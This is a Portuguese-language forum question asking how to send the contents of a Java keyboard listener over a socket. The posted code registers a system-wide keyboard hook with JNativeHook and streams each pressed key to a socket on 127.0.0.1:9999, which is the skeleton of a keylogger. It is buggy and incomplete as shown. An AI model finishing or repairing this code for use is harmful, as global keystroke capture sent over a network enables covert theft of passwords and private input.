Como faço para passar o conteudo de um Keylistener por um socket
se alguém pudesse me ajudar eu gostaria de saber como posso passar o conteúdo de um KeyListener por um socket pois nao sei programar muito bem sou apenas curioso em programação java
essa sao as duas Classes:
essa sao as duas Classes:
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.Socket;
import java.net.UnknownHostException;
import java.util.Scanner;
import org.jnativehook.GlobalScreen;
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;
public class Cliente implements NativeKeyListener {
NativeKeyListener e;
Socket cliente;
String dados ;
public void conectaServidor(){
try {
cliente = new Socket("127.0.0.1", 9999);
} catch (UnknownHostException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public void Escrever(){
try {
PrintWriter escritor = new PrintWriter(cliente.getOutputStream(), true);
String mensagem = " ";
mensagem = dados;
while(true){
mensagem = dados;
escritor.println(mensagem);
escritor.println(dados);
escritor.flush();
}
} catch (IOException ex) {
ex.printStackTrace();
}
}
public void Jnative(){
try{
GlobalScreen.registerNativeHook();
}catch(Exception e){
e.printStackTrace();
}
GlobalScreen.getInstance().addNativeKeyListener(new Cliente());
}
@Override
public void nativeKeyPressed(NativeKeyEvent re) {
dados = re.getKeyText(re.getKeyCode());
this.Escrever();
}
@Override
public void nativeKeyReleased(NativeKeyEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void nativeKeyTyped(NativeKeyEvent arg0) {
// TODO Auto-generated method stub
}
}
public class ClienteExecutavel {
public static void main(String[] args) {
Cliente c = new Cliente();
c.conectaServidor();
c.Jnative();
}
}
Roberto Souza
Curtidas 0